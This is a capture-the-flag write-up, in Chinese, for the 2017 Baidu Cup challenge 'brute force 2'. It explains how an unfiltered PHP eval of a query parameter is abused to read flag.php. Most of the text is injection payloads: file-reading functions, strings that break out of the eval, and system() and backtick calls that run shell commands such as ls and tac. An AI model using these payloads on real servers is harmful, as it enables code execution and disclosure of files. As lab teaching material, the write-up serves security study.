“百度杯”CTF比赛 2017 二月场-爆破-2
“百度杯”CTF比赛 2017 二月场
爆破-2
类型:misc-web
题目描述:flag不在变量中。
解题方法:打开靶机,得到一段php源码:
代码审计:
1.里面包含了flag.php
文件
2.获取hello的值,并用var_dump
函数输出相关的变量信息
我们试着传入参数:
?hello=$GLOBALS
这里我们发现flag的信息并没有在变量中,那我们猜测flag的值应该是藏在flag.php
的源码中,分析代码是发现这里也没有设置过滤,就可以通过eval( "var_dump($a);");
函数,就有好多种方法来获取flag.php
的源码
方法一:
file_get_contents函数
file_get_contents函数把整个文件读入一个字符串中
构造payload就可以得到源码:
?hello=file_get_contents('flag.php')
查看网页源码就可以得到flag:
方法二:
file()函数:
file()函数与file_get_contents()类似,不同的是file()将文件作为一个数组返回,数组中的每个单元都是文件中相应的一行,包括换行符在内
构造payload:
?hello=file('flag.php')
方法三:
show_source函数和highlight_file函数:对文件进行高亮显示
用法:可以直接用:
?hello=show_source('flag.php')
?hello=highlight_file('flag.php')
也可以通过该函数对eval()函数进行截断重组,但是要保持eval()函数里面php代码的正确性:
?hello=1);show_source('flag.php');echo(1
?hello=1);highlight_file('flag.php');echo(1
对应的eval语句就是:
eval( "var_dump(1);show_source('flag.php');echo(1);");
即可得到flag
方法四:
可以通过linux命令来进行读取:
查看里面的文件:
?hello=system('ls')
可以用tac命令来读取flag
tac倒过来就是cat,是将文件倒着显示,即文章最后一行显示在最上边读取flag.php:
?hello=system('tac flag.php')
因为这里没有设置过滤,可以通过对eval()函数截断重组,注意要保持eval()函数里面php代码的正确性
通过测试,cat、tac、more、less、head、tail都可以使用
以cat为例来构造payload:
?hello=1);echo `cat flag.php`; echo(1
查看源代码即可得到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通